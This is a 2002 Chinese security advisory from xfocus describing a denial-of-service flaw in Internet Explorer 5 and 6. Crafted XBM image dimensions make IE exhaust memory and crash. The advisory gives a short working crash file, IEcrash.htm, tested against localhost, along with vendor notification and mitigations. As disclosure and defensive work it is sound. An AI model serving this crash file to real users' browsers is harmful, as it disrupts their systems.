xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

特殊格式的图片文件可使IE拒绝服务


发布时间:2002-05-20
更新时间:2002-05-20
严重程度:
威胁程度:远程拒绝服务
错误类型:意外情况处置错误
利用方式:服务器模式

受影响系统
Microsoft Internet Explorer 6.0

       - Microsoft Windows 2000 Server SP2 SRP
       - Microsoft Windows 2000 Advance Server SP2 SRP
       - Microsoft Windows 98SE
       - Microsoft Windows NT 4.0 SP6a

    Microsoft Internet Explorer 5.0

       - Microsoft Windows 2000 Server SP2 SRP
       - Microsoft Windows 2000 Advance Server SP2 SRP
       - Microsoft Windows 98SE
       - Microsoft Windows NT 4.0 SP6a
详细描述
将以下代码存为一个文件,无论扩展名是什么,在IE中直接请求或在HTML文件中作为图
片插入引用,都可以正常显示为一幅16x16像素的BMP图片。

#define odo_width  16
#define odo_height 16
static char odo_bits[] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
};

    以上是对于远程文件的情况。在本地机器上打开时,文件扩展名必须是不能被浏览器显
示的,不能是 html,txt,gif,jpg 等,可以是 zip,exe,xxx 或其他未知的。可以通过
在HTML文件中作为图片插入引用。

    当把 odo_width 和 odo_height的值设为一个极大的数时,IE并不检查文件的实际大小,
而是直接按照 odo_width 和 odo_height的值来申请内存,导致系统资源耗尽,最终系统会
调用DbgBreakPoint杀掉IE的进程。

    在资源浏览器中预览或者作为HTML邮件查看也有类似的情况。

测试代码
将以下代码保存为IEcrash.htm,放到web目录下:

#define odo_width  22222222222222222222
#define odo_height 22222222222222222222
static char odo_bits[] = {
0xFF,
};

在浏览器里输入:http://127.0.0.1/IEcrash.htm

解决方案
我们已通知了微软,微软承诺在下一个Service Pack里解决此问题。WSS 建议您不要浏
览不受信任的网站,不要用HTML方式察看邮件。在微软给出安全补丁之前暂不要使用IE浏览
器,或者关闭IE对图片的支持。


感谢:

    感谢iDuba Security Team的Refdom(refdom@263.net)帮助测试。

相关信息
Author  : tombkeeper
Email   : tombkeeper@whitecell.org
HomePage: http://www.whitecell.org